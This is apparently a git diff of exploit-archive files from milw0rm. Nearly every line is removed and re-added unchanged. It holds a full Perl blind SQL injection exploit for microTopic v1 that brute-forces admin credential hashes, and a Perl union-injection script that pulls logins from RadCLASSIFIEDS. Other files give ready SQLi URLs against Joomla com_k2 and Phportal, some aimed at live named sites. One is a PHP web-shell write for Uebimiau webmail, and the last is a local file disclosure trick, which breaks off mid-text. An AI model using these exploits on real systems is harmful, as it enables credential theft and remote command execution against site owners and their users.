-		$finalhost="http://".$host."/".$path."/index.php?topic=".$topic;
-	}
-#Check all variables needed
-$numArgs = $#ARGV + 1;
-	if($numArgs<=2) 
-	{
-		&helper;
-		exit(1);	
-	}
-$finalrequest = $finalhost;	
-#Testing blind sql injection
-$blindsqlpost="rate=1&rating=".$topic."'+AND+1='0&postedcounter=1&action=doit"; #blind sql injection
-$output=&request($finalrequest,$blindsqlpost);
-if ( $output !~ (/\<\/head\>\<body\>/))
-{    
-	#blind sql injection is available
-	&testedblindsql;
-}else{ 
-	#Not injectable
-	&error;
-	exit(1); 
-}	
-#Bruteforcing user...
-$usernamehash=&exploit($finalrequest,$topic,'username');
-#Bruteforcing pass...
-$passhash=&exploit($finalrequest,$topic,'password');
-print "\n\t\t*************************************************\n";
-print "\t\t****     EXPLOIT EXECUTED WITH SUCCESS       ****\n";
-print "\t\t*************************************************\n\n";
-print "\t\tUsername(md5 hash):".$usernamehash."\n";
-print "\t\tPassword(md5 hash):".$passhash."\n\n";
-print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
-print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
-print "\t\t<<------------------------EOF---------------------->>\n\n";
-exit(1);
-#Ok...all job done
-
-# milw0rm.com [2009-05-11]
+#!/usr/bin/perl
+#***********************************************************************************************
+#***********************************************************************************************
+#**	       										      **
+#**  											      **
+#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
+#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	 []   []      **
+#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
+#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
+#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
+#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
+#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
+#**							                                      **
+#**    											      **
+#**                          ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O                      **
+#**					  ¡PROUD TO BE SPANISH!	                              **
+#**											      **
+#***********************************************************************************************
+#***********************************************************************************************
+#
+#----------------------------------------------------------------------------------------------
+#|       	   	     (POST var 'rating') BLIND SQL INJECTION		              |
+#|--------------------------------------------------------------------------------------------|
+#|                         	  | microTopic v1 Initial Release |		 	      |
+#|  CMS INFORMATION:		   -------------------------------			      |
+#|										              |
+#|-->WEB: http://sourceforge.net/projects/microtopic/		   		              |
+#|-->DOWNLOAD: http://sourceforge.net/projects/microtopic/ 	   		              |
+#|-->DEMO: N/A										      |
+#|-->CATEGORY: CMS / Portal								      |
+#|-->DESCRIPTION: Simple News / Opinion site with page ranking Lightweight at ~ 200kb  	      |
+#| 		Secure - Hashed challenge/response login Flexible...			      |
+#|											      |
+#|  CMS VULNERABILITY:									      |
+#|											      |
+#|-->TESTED ON: firefox 3.0.10								      |
+#|-->DORK: "N/A"									      |
+#|-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT					      |
+#|-->AFFECT VERSION: v-1								      |
+#|-->Discovered Bug date: 2009-05-08							      |
+#|-->Reported Bug date: 2009-05-08							      |
+#|-->Fixed bug date: 2009-05-10								      |
+#|-->Info patch (v1.01): http://sourceforge.net/projects/microtopic/			      |   
+#|-->Author: YEnH4ckEr									      |
+#|-->mail: y3nh4ck3r[at]gmail[dot]com							      |
+#|-->WEB/BLOG: N/A									      |
+#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
+#----------------------------------------------------------------------------------------------
+#
+#------------
+#VULN FILES:
+#------------
+#
+#Path --> [HOME_PATH]/admin/utopic.php
+#
+#It contents:
+#
+#	 $query="SELECT UNIX_TIMESTAMP(max(datum)) FROM {$my_table}_ip WHERE id='$_POST[rating]'
+#           AND ip='$_SERVER[REMOTE_ADDR]'";
+#   $sql=SendSQL($query);
+#
+#Path --> [HOME_PATH]/admin/mysql.php
+#
+#It contents:
+#
+#function SendSQL($query){
+#   $sql=mysql_query($query) or die("CANNOT ".$query);
+#   return $sql;
+# }
+#
+#------------
+#CONDITIONS:
+#------------
+#
+#
+#**magic quotes=off
+#
+#
+#######################################################################
+#######################################################################
+##*******************************************************************##
+##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!  ##
+##*******************************************************************##
+##-------------------------------------------------------------------##
+##*******************************************************************##
+##   GREETZ TO: JosS, Ulises2k and all SPANISH Hack3Rs community!    ##
+##*******************************************************************##
+#######################################################################
+#######################################################################
+#
+#-------------------EOF---------------------------------->>>ENJOY IT!
+#
+use LWP::UserAgent;
+use HTTP::Request;
+#Subroutines
+sub lw
+{
+	my $SO = $^O;
+	my $linux = "";
+	if (index(lc($SO),"win")!=-1){
+		$linux="0";
+	}else{
+		$linux="1";
+	}		
+	if($linux){
+		system("clear");
+	}
+	else{
+		system("cls");
+		system ("title microTopic v1 Initial Release (POST var 'rating') BLIND SQL Injection Exploit");
+		system ("color 02");
+	}
+}
+sub request {
+	my $userag = LWP::UserAgent->new;
+	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
+	my $request = HTTP::Request -> new(POST => $_[0]);
+	$request->content_type('application/x-www-form-urlencoded');
+	$request->content($_[1]); 
+	my $outcode= $userag->request($request)->as_string;
+	return $outcode;
+}
+sub helper {
+	print "\n\t[XxX] microTopic v1 Initial Release (POST var 'rating') BLIND SQL Injection Exploit\n";
+	print "\t[XxX] USAGE MODE: [XxX]\n";
+	print "\t[XxX] perl $0 [HOST] [PATH] [topic]\n";
+	print "\t[XxX] [HOST]: Web.\n";
+	print "\t[XxX] [PATH]: Home Path. Not path: no-path\n";
+	print "\t[XxX] [topic]: Valid topic. Opt: 1,2,3,4\n";
+	print "\t[XxX] Example: perl $0 'www.example.es' 'microtopic' '1'\n"; 
+}
+sub error {
+	print "\t-----------------------------------------------------------------\n";
+	print "\tWEB IS NOT VULNERABLE!\n";
+	print "\tMaybe --> \n";
+	print "\t1.-Patched\n";
+	print "\t2.-topic doesn't exist\n";
+	print "\t3.-Magic quotes ON\n";
+	print "\tEXPLOIT FAILED!\n";
+	print "\t-----------------------------------------------------------------\n";
+}
+sub testedblindsql {
+	print "\t-----------------------------------------------------------------\n";
+	print "\tWEB IS VULNERABLE!\n";
+	print "\tTested Blind SQL Injection.\n";		
+	print "\tStarting exploit...Waiting...\n"; 
+	print "\t-----------------------------------------------------------------\n";
+}
+sub exploit {
+my $result="";
+$k=1;
+	$z=48;
+	while(($k<=32) && ($z<=126)){
+		$blindsqlpost="rate=1&rating=".$_[1]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+utopic_login+WHERE+loginid=1),".$k.",1))='".$z."&postedcounter=1&action=doit";
+		$output=&request($_[0],$blindsqlpost);
+		if ( $output =~ (/\<\/head\>\<body\>/))
+		{
+			$result=$result.chr($z);
+			$k++;
+			$z=47;
+		}
+	if($z==57)
+	{
+		$z=96;
+	}
+#new char
+	$z++; 
+	}
+return $result;
+}
+#Main
+&lw;
+	print "\t\t#########################################################\n\n";
+	print "\t\t#########################################################\n\n";
+	print "\t\t##   microTopic v1 Initial Release - BSQLi Exploit     ##\n\n";
+	print "\t\t##                  Author: Y3nh4ck3r                  ##\n\n";
+	print "\t\t##             Condition: magic quotes=off             ##\n\n";
+	print "\t\t##         Contact:y3nh4ck3r[at]gmail[dot]com          ##\n\n";
+	print "\t\t##                  Proud to be Spanish!               ##\n\n";
+	print "\t\t#########################################################\n\n";
+	print "\t\t#########################################################\n\n";
+#Init variables
+	my $host=$ARGV[0];
+	my $path=$ARGV[1];	
+	my $topic=$ARGV[2];
+#Build the uri
+	if($path eq "no-path"){
+		$finalhost="http://".$host."/index.php?topic=".$topic;
+	}else{
+		$finalhost="http://".$host."/".$path."/index.php?topic=".$topic;
+	}
+#Check all variables needed
+$numArgs = $#ARGV + 1;
+	if($numArgs<=2) 
+	{
+		&helper;
+		exit(1);	
+	}
+$finalrequest = $finalhost;	
+#Testing blind sql injection
+$blindsqlpost="rate=1&rating=".$topic."'+AND+1='0&postedcounter=1&action=doit"; #blind sql injection
+$output=&request($finalrequest,$blindsqlpost);
+if ( $output !~ (/\<\/head\>\<body\>/))
+{    
+	#blind sql injection is available
+	&testedblindsql;
+}else{ 
+	#Not injectable
+	&error;
+	exit(1); 
+}	
+#Bruteforcing user...
+$usernamehash=&exploit($finalrequest,$topic,'username');
+#Bruteforcing pass...
+$passhash=&exploit($finalrequest,$topic,'password');
+print "\n\t\t*************************************************\n";
+print "\t\t****     EXPLOIT EXECUTED WITH SUCCESS       ****\n";
+print "\t\t*************************************************\n\n";
+print "\t\tUsername(md5 hash):".$usernamehash."\n";
+print "\t\tPassword(md5 hash):".$passhash."\n\n";
+print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
+print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
+print "\t\t<<------------------------EOF---------------------->>\n\n";
+exit(1);
+#Ok...all job done
+
+# milw0rm.com [2009-05-11]
diff --git a/platforms/php/webapps/873.txt b/platforms/php/webapps/873.txt
index 16c1e0f29..5c9a6f236 100755
--- a/platforms/php/webapps/873.txt
+++ b/platforms/php/webapps/873.txt
@@ -23,6 +23,6 @@ An Advanced Attacker may use the the privs. to execute malicuos SQL queries or d
 >> Fixing :
 ** Change the Blank Passwords.. :\
  
-That's All ..)) Sorry 4 my bad English $:
-
-# milw0rm.com [2005-03-11]
+That's All ..)) Sorry 4 my bad English $:
+
+# milw0rm.com [2005-03-11]
diff --git a/platforms/php/webapps/8744.txt b/platforms/php/webapps/8744.txt
index 967999d54..a91b6c420 100755
--- a/platforms/php/webapps/8744.txt
+++ b/platforms/php/webapps/8744.txt
@@ -1,28 +1,28 @@
-@~~=======================================~~@
-====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
-@~~=======================================~~@
-@~~=Author   : ByALBAYX
-
-@~~=Website  : WWW.C4TEAM.ORG
-@~~===============TURKISH=================~~@
-
-@~~=======================================~~@
-@~~=Script   : exJune Office Message System v1
-
-@~~=S.Site   : http://exjune.com
-
-@~~=Demo     : http://exjune.com/products/messages/index.asp
-@~~=======================================~~@
-@~~=Vul :
-
-@~~=http://c4team.org/ [Path] /configure.asp
-
-@~~=http://c4team.org/ [Path] /addmessage2.asp?id=179
-
-Vs.. 
-
-@~~=======================================~~@
-
-@~~=:/
-
-# milw0rm.com [2009-05-20]
+@~~=======================================~~@
+====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
+@~~=======================================~~@
+@~~=Author   : ByALBAYX
+
+@~~=Website  : WWW.C4TEAM.ORG
+@~~===============TURKISH=================~~@
+
+@~~=======================================~~@
+@~~=Script   : exJune Office Message System v1
+
+@~~=S.Site   : http://exjune.com
+
+@~~=Demo     : http://exjune.com/products/messages/index.asp
+@~~=======================================~~@
+@~~=Vul :
+
+@~~=http://c4team.org/ [Path] /configure.asp
+
+@~~=http://c4team.org/ [Path] /addmessage2.asp?id=179
+
+Vs.. 
+
+@~~=======================================~~@
+
+@~~=:/
+
+# milw0rm.com [2009-05-20]
diff --git a/platforms/php/webapps/8834.pl b/platforms/php/webapps/8834.pl
index 9739c56ad..559bbfca1 100755
--- a/platforms/php/webapps/8834.pl
+++ b/platforms/php/webapps/8834.pl
@@ -1,141 +1,141 @@
-#!usr/bin/perl
-#|------------------------------------------------------------------------------------------------------------------
-#| -Info:
-# 
-#| -Name: RadCLASSIFIEDS Gold v2
-#| -Site: http://radscripts.com/
-#| -Site Demo: http://www.radclassifieds.com
-#| -Bug: Sql Injection
-#| -Found: by Br0ly
-#| -BRAZIL >D
-#| -Contact: br0ly[dot]Code[at]gmail[dot]com
-#|
-#| -Gretz: Osirys , xs86 , str0ke, 0ut0fBound , c0d3_z3r0
-#|
-#| -p0c:
-#| -SQL INJECTION: 
-#|  
-#|  -9999+union+all+select+0,1-- 
-#|
-#| - Demo ONline:
-#|
-#| -> http://www.radclassifieds.com/index.php?a=search&type=Any&search=1&seller=-9999+union+all+select+@@version,1--
-#|	
-#|
-#| -Exploit: Demo:
-#|
-#|perl radclassifieds.txt http://www.radclassifieds.com/
-#|
-#|  --------------------------------------
-#|   -RadCLASSIFIEDS                      
-#|   -Sql Injection                       
-#|   -by Br0ly                            
-#|  --------------------------------------
-#|
-#|[+] Getting LOGIN and PASS
-#|[+] LOGIN   = chub
-#|[+] PASS    = chub
-#|
-#|
-#| OBS: This IS only a Demo..
-#|
-#|
-  use IO::Socket::INET;
-  use LWP::UserAgent;
-  
-   my $host    = $ARGV[0];
-   my $sql_path = "/index.php?a=search&type=Any&search=1&seller=";
-    
-  
-  if (@ARGV < 1) {
-      &banner();
-      &help("-1");
-  }
-
-  elsif(cheek($host) == 1) {
-	  &banner();
-	  &xploit($host,$sql_path);
-  }
-  
-  else {
-      &banner();
-      help("-2");
-  }
-  
-  sub xploit() {
-
-      my $host     = $_[0];
-      my $sql_path = $_[1];
-
-      print "[+] Getting LOGIN and PASS\n";
-
-      my $sql_atk = $host.$sql_path."-9999+union+all+select+concat(0x6272306c79,0x3a,user,0x3a,password,0x3a,0x6272306c79),1+from+radclassifieds_signups--";
-      print "$sql_atk";
-      my $sql_get = get_url($sql_atk);
-      my $connect = tag($sql_get); 
-      
-      if($connect =~ /br0ly:(.+):(.+):br0ly/) {
-	
-        print "[+] LOGIN   = $1\n";
-	print "[+] PASS    = $2\n";
-    
-      }
-
-      else {
-	print "[-] Exploit, Fail\n";
-      }
- }
-
-   sub get_url() {
-    $link = $_[0];
-    my $req = HTTP::Request->new(GET => $link);
-    my $ua = LWP::UserAgent->new();
-    $ua->timeout(5);
-    my $response = $ua->request($req);
-    return $response->content;
-  }
-
-  sub tag() {
-    my $string = $_[0];
-    $string =~ s/ /\$/g;
-    $string =~ s/\s/\*/g;
-    return($string);
-  }
-
-  sub cheek() {
-    my $host  = $_[0];
-    if ($host =~ /http:\/\/(.*)/) {
-        return 1;
-    }
-    else {
-        return 0;
-    }
-  }
-
-  sub help() {
-
-    my $error = $_[0];
-    if ($error == -1) {
-        print "\n[-] Error, missed some arguments !\n\n";
-    }
-    
-    elsif ($error == -2) {
-
-        print "\n[-] Error, Bad arguments !\n";
-    }
-  
-    print "[*] Usage : perl $0 http://localhost/RadCLASSIFIEDS/\n\n";
-    print "    Ex:     perl $0 http://localhost/RadCLASSIFIEDS/\n\n";
-    exit(0);
-  }
-
-  sub banner {
-    print "\n".
-          "  --------------------------------------\n".
-          "   -RadCLASSIFIEDS                      \n".
-          "   -Sql Injection                       \n".
-          "   -by Br0ly                            \n".
-          "  --------------------------------------\n\n";
-  }
-
-# milw0rm.com [2009-06-01]
+#!usr/bin/perl
+#|------------------------------------------------------------------------------------------------------------------
+#| -Info:
+# 
+#| -Name: RadCLASSIFIEDS Gold v2
+#| -Site: http://radscripts.com/
+#| -Site Demo: http://www.radclassifieds.com
+#| -Bug: Sql Injection
+#| -Found: by Br0ly
+#| -BRAZIL >D
+#| -Contact: br0ly[dot]Code[at]gmail[dot]com
+#|
+#| -Gretz: Osirys , xs86 , str0ke, 0ut0fBound , c0d3_z3r0
+#|
+#| -p0c:
+#| -SQL INJECTION: 
+#|  
+#|  -9999+union+all+select+0,1-- 
+#|
+#| - Demo ONline:
+#|
+#| -> http://www.radclassifieds.com/index.php?a=search&type=Any&search=1&seller=-9999+union+all+select+@@version,1--
+#|	
+#|
+#| -Exploit: Demo:
+#|
+#|perl radclassifieds.txt http://www.radclassifieds.com/
+#|
+#|  --------------------------------------
+#|   -RadCLASSIFIEDS                      
+#|   -Sql Injection                       
+#|   -by Br0ly                            
+#|  --------------------------------------
+#|
+#|[+] Getting LOGIN and PASS
+#|[+] LOGIN   = chub
+#|[+] PASS    = chub
+#|
+#|
+#| OBS: This IS only a Demo..
+#|
+#|
+  use IO::Socket::INET;
+  use LWP::UserAgent;
+  
+   my $host    = $ARGV[0];
+   my $sql_path = "/index.php?a=search&type=Any&search=1&seller=";
+    
+  
+  if (@ARGV < 1) {
+      &banner();
+      &help("-1");
+  }
+
+  elsif(cheek($host) == 1) {
+	  &banner();
+	  &xploit($host,$sql_path);
+  }
+  
+  else {
+      &banner();
+      help("-2");
+  }
+  
+  sub xploit() {
+
+      my $host     = $_[0];
+      my $sql_path = $_[1];
+
+      print "[+] Getting LOGIN and PASS\n";
+
+      my $sql_atk = $host.$sql_path."-9999+union+all+select+concat(0x6272306c79,0x3a,user,0x3a,password,0x3a,0x6272306c79),1+from+radclassifieds_signups--";
+      print "$sql_atk";
+      my $sql_get = get_url($sql_atk);
+      my $connect = tag($sql_get); 
+      
+      if($connect =~ /br0ly:(.+):(.+):br0ly/) {
+	
+        print "[+] LOGIN   = $1\n";
+	print "[+] PASS    = $2\n";
+    
+      }
+
+      else {
+	print "[-] Exploit, Fail\n";
+      }
+ }
+
+   sub get_url() {
+    $link = $_[0];
+    my $req = HTTP::Request->new(GET => $link);
+    my $ua = LWP::UserAgent->new();
+    $ua->timeout(5);
+    my $response = $ua->request($req);
+    return $response->content;
+  }
+
+  sub tag() {
+    my $string = $_[0];
+    $string =~ s/ /\$/g;
+    $string =~ s/\s/\*/g;
+    return($string);
+  }
+
+  sub cheek() {
+    my $host  = $_[0];
+    if ($host =~ /http:\/\/(.*)/) {
+        return 1;
+    }
+    else {
+        return 0;
+    }
+  }
+
+  sub help() {
+
+    my $error = $_[0];
+    if ($error == -1) {
+        print "\n[-] Error, missed some arguments !\n\n";
+    }
+    
+    elsif ($error == -2) {
+
+        print "\n[-] Error, Bad arguments !\n";
+    }
+  
+    print "[*] Usage : perl $0 http://localhost/RadCLASSIFIEDS/\n\n";
+    print "    Ex:     perl $0 http://localhost/RadCLASSIFIEDS/\n\n";
+    exit(0);
+  }
+
+  sub banner {
+    print "\n".
+          "  --------------------------------------\n".
+          "   -RadCLASSIFIEDS                      \n".
+          "   -Sql Injection                       \n".
+          "   -by Br0ly                            \n".
+          "  --------------------------------------\n\n";
+  }
+
+# milw0rm.com [2009-06-01]
diff --git a/platforms/php/webapps/8944.txt b/platforms/php/webapps/8944.txt
index ac01d72ae..b45db197a 100755
--- a/platforms/php/webapps/8944.txt
+++ b/platforms/php/webapps/8944.txt
@@ -1,25 +1,25 @@
-Uebimiau Webmail <= v3.2.0-1.8 Remote File / Overwrite Vulnerabilities
-Dork : Uebimiau Webmail v3.2.0-1.8
-POC :
-     /uebimiau/admin/editor.php?load=config
-And You Can Write Any Code As 
-<?php passthru($_GET[cmd]); ?> After That Click {Write To File}
-Go 
-     /uebimiau/index.php?cmd=id
-See Pic :http://www.almlf.com/get-6-2009-almlf_com_akszizl2.png
-                               Thanx To 
-         .___________..______     ____    ____  ___       _______ 
-         |           ||   _  \    \   \  /   / /   \     /  _____|
-         `---|  |----`|  |_)  |    \   \/   / /  ^  \   |  |  __  
-             |  |     |      /      \_    _/ /  /_\  \  |  | |_ | 
-             |  |     |  |\  \----.   |  |  /  _____  \ |  |__| | 
-             |__|     | _| `._____|   |__| /__/     \__\ \______| 
-                                                         
-     ___       ______     ___       _______   _______ .___  ___. ____    ____ 
-    /   \     /      |   /   \     |       \ |   ____||   \/   | \   \  /   / 
-   /  ^  \   |  ,----'  /  ^  \    |  .--.  ||  |__   |  \  /  |  \   \/   /  
-  /  /_\  \  |  |      /  /_\  \   |  |  |  ||   __|  |  |\/|  |   \_    _/   
- /  _____  \ |  `----./  _____  \  |  '--'  ||  |____ |  |  |  |     |  |     
-/__/     \__\ \______/__/     \__\ |_______/ |_______||__|  |__|     |__|     
-
-# milw0rm.com [2009-06-12]
+Uebimiau Webmail <= v3.2.0-1.8 Remote File / Overwrite Vulnerabilities
+Dork : Uebimiau Webmail v3.2.0-1.8
+POC :
+     /uebimiau/admin/editor.php?load=config
+And You Can Write Any Code As 
+<?php passthru($_GET[cmd]); ?> After That Click {Write To File}
+Go 
+     /uebimiau/index.php?cmd=id
+See Pic :http://www.almlf.com/get-6-2009-almlf_com_akszizl2.png
+                               Thanx To 
+         .___________..______     ____    ____  ___       _______ 
+         |           ||   _  \    \   \  /   / /   \     /  _____|
+         `---|  |----`|  |_)  |    \   \/   / /  ^  \   |  |  __  
+             |  |     |      /      \_    _/ /  /_\  \  |  | |_ | 
+             |  |     |  |\  \----.   |  |  /  _____  \ |  |__| | 
+             |__|     | _| `._____|   |__| /__/     \__\ \______| 
+                                                         
+     ___       ______     ___       _______   _______ .___  ___. ____    ____ 
+    /   \     /      |   /   \     |       \ |   ____||   \/   | \   \  /   / 
+   /  ^  \   |  ,----'  /  ^  \    |  .--.  ||  |__   |  \  /  |  \   \/   /  
+  /  /_\  \  |  |      /  /_\  \   |  |  |  ||   __|  |  |\/|  |   \_    _/   
+ /  _____  \ |  `----./  _____  \  |  '--'  ||  |____ |  |  |  |     |  |     
+/__/     \__\ \______/__/     \__\ |_______/ |_______||__|  |__|     |__|     
+
+# milw0rm.com [2009-06-12]
diff --git a/platforms/php/webapps/8966.txt b/platforms/php/webapps/8966.txt
index 1364e3c97..4fcf6814a 100755
--- a/platforms/php/webapps/8966.txt
+++ b/platforms/php/webapps/8966.txt
@@ -1,24 +1,24 @@
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-=
-=                                 XORON 2009(C)
-=
-=              Phportal v1 Remote SQL Injection Vuln.      
-=             
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-=
-= Script:   Phportal(http://phportal.mertindualari.com)
-= Price:    Free
-=
-= Author: xoron
-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-=
-= BUGS   
-=
-=  Sql Injections:
-=      /topicler.php?id=13/**/union/**/select/**/0,parola/**/from/**/uyeler/*
-=      /topicler.php?id=13/**/union/**/select/**/0,kulladi/**/from/**/uyeler/*               
-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 
-
-# milw0rm.com [2009-06-15]
+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+=
+=                                 XORON 2009(C)
+=
+=              Phportal v1 Remote SQL Injection Vuln.      
+=             
+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+=
+= Script:   Phportal(http://phportal.mertindualari.com)
+= Price:    Free
+=
+= Author: xoron
+=
+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+=
+= BUGS   
+=
+=  Sql Injections:
+=      /topicler.php?id=13/**/union/**/select/**/0,parola/**/from/**/uyeler/*
+=      /topicler.php?id=13/**/union/**/select/**/0,kulladi/**/from/**/uyeler/*               
+=
+=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 
+
+# milw0rm.com [2009-06-15]
diff --git a/platforms/php/webapps/9030.txt b/platforms/php/webapps/9030.txt
index 37de35ada..4d480a0cf 100755
--- a/platforms/php/webapps/9030.txt
+++ b/platforms/php/webapps/9030.txt
@@ -1,47 +1,46 @@
-
-----------------------------------------------------------------------
-Joomla Component com_k2 (sectionid) SQL injection Vulnerability
-----------------------------------------------------------------------
-
- ###################################################
- [+] Author        :  Chip D3 Bi0s
- [+] Email         :  chipdebios[alt+64]gmail.com
- [+] Group         :  LatinHackTeam
- [+] Vulnerability :  SQL injection
- ###################################################
-
-  
- Information from file: mod_k2.xml
-
- Name         : K2 Module
- Author       : JoomlaWorks
- CreationDate : April 6th, 2009
- Copyright    : Copyright (c) 2006-2009 JoomlaWorks Ltd. All rights reserved.
- AuthorEmail  : contact@joomlaworks.gr
- AuthorUrl    : www.joomlaworks.gr
- Version      : 1.0.1 Beta 
- License      : http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
- 
- Dowloand     : http://code.google.com/p/joomlaworks/downloads/detail?name=K2-1.0.1beta2_j15_UNZIP_FIRST.zip
- 
---------------------------------------------------------------------
-
-
-Example:
-
-http://localHost/path//index.php?option=com_k2&view=itemlist&category=<sql Code>
-
-<Sql Code>:
-null'+and+1=2+union+select+1,concat(username,0x3a,password)ChipD3Bi0s,3,4,5,6,7,8,9,10,11,12,13,14+from+jos_users/*
- 
-
-Demo Live (1):
-http://ajedrezmarketing.com/index.php?option=com_k2&view=itemlist&category=null'+and+1=2+union+select+1,concat(username,0x3a,password)ChipD3Bi0s,3,4,5,6,7,8,9,10,11,12,13,14+from+jos_users/*
-
-
-
-+++++++++++++++++++++++++++++++++
-[!] Produced in South America
----------------------------------
-
-# milw0rm.com [2009-06-29]
+----------------------------------------------------------------------
+Joomla Component com_k2 (sectionid) SQL injection Vulnerability
+----------------------------------------------------------------------
+
+ ###################################################
+ [+] Author        :  Chip D3 Bi0s
+ [+] Email         :  chipdebios[alt+64]gmail.com
+ [+] Group         :  LatinHackTeam
+ [+] Vulnerability :  SQL injection
+ ###################################################
+
+  
+ Information from file: mod_k2.xml
+
+ Name         : K2 Module
+ Author       : JoomlaWorks
+ CreationDate : April 6th, 2009
+ Copyright    : Copyright (c) 2006-2009 JoomlaWorks Ltd. All rights reserved.
+ AuthorEmail  : contact@joomlaworks.gr
+ AuthorUrl    : www.joomlaworks.gr
+ Version      : 1.0.1 Beta 
+ License      : http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
+ 
+ Dowloand     : http://code.google.com/p/joomlaworks/downloads/detail?name=K2-1.0.1beta2_j15_UNZIP_FIRST.zip
+ 
+--------------------------------------------------------------------
+
+
+Example:
+
+http://localHost/path//index.php?option=com_k2&view=itemlist&category=<sql Code>
+
+<Sql Code>:
+null'+and+1=2+union+select+1,concat(username,0x3a,password)ChipD3Bi0s,3,4,5,6,7,8,9,10,11,12,13,14+from+jos_users/*
+ 
+
+Demo Live (1):
+http://ajedrezmarketing.com/index.php?option=com_k2&view=itemlist&category=null'+and+1=2+union+select+1,concat(username,0x3a,password)ChipD3Bi0s,3,4,5,6,7,8,9,10,11,12,13,14+from+jos_users/*
+
+
+
++++++++++++++++++++++++++++++++++
+[!] Produced in South America
+---------------------------------
+
+# milw0rm.com [2009-06-29]
diff --git a/platforms/php/webapps/9144.txt b/platforms/php/webapps/9144.txt
index 2c55e8813..87e38a361 100755
--- a/platforms/php/webapps/9144.txt
+++ b/platforms/php/webapps/9144.txt
@@ -1,101 +1,101 @@
-                                            ||          ||   | ||
-                                     o_,_7 _||  . _o_7 _|| q_|_||  o_\\\_,
-                                    (  :  /    (_)    /           (      .
-
-                                             ___________________
-                                           _/QQQQQQQQQQQQQQQQQQQ\__
-                                        __/QQQ/````````````````\QQQ\___
-                                      _/QQQQQ/                  \QQQQQQ\
-                                     /QQQQ/``                    ```QQQQ\
-                                    /QQQQ/                          \QQQQ\
-                                   |QQQQ/    By  Qabandi             \QQQQ|
-                                   |QQQQ|                            |QQQQ|
-                                   |QQQQ|    From Kuwait, PEACE...   |QQQQ|
-                                   |QQQQ|                            |QQQQ|
-                                   |QQQQ\       iqa[a]hotmail.fr     /QQQQ|
-                                    \QQQQ\                      __  /QQQQ/
-                                     \QQQQ\                    /QQ\_QQQQ/
-                                      \QQQQ\                   \QQQQQQQ/
-                                       \QQQQQ\                 /QQQQQ/_
-                                        ``\QQQQQ\_____________/QQQ/\QQQQ\_
-                                           ``\QQQQQQQQQQQQQQQQQQQ/  `\QQQQ\
-                                              ```````````````````     `````
-
-=Vuln:		Mobilelib Gold v3 Local File Disclosure Vulnerability
-=INFO:		http://www.ac4p.com/
-=BUY:  		http://www.ac4p.com/
-=Download:      ~~~
-=DORK:		intext:"English for dummies"
-
-                                  ____________
-                              _-=/:Conditions:\=-_
-````````````````````````````````````````````````````````````````````````````````
-
-Magic_quotes MUST BE ON :)
-
----------------------------------------===--------------------------------------
-
-                                _________________
-                            _-=/:Vulnerable_Code:\=-_
-````````````````````````````````````````````````````````````````````````````````
-// in "./myhtml.php"
-
-function getthememyhtml($page)
-      {
-      if (file_exists("./myhtmlpages/".$page.".html")) {
-      $templat="./myhtmlpages/".$page.".html";
-      $tempindex=@fopen($templat,"r");
-      $html=@fread($tempindex,@filesize($templat));
-      @fclose($tempindex);
-      } else {
-       $html ="<p align=\"center\"> Ă¡Ă£ Ă­Ă“Ă�Ă˜Ă� Ă…Ă­ĂŒĂ‡Ă� Ă£Ă¡Ă� Ă‡Ă¡Ă�Ă‡Ă¡Ăˆ.</p>";
-      }
-      return $html;
-}
-
----------------------------------------===--------------------------------------
-
-                                     _______
-                                 _-=/:P.o.C:\=-_
-````````````````````````````````````````````````````````````````````````````````
- We will bypass the security, where it takes all _GET variables and scans if
- they contain harmful tags such as the null char (%00) ..etc
- 
- We will bypass it by using an old GLOBALS[] trick ;)
-
-
-http://localhost/goldv3/myhtml.php?GLOBALS[page]=../config.inc.php%00
-
-
----------------------------------------===--------------------------------------
-
-                                    __________
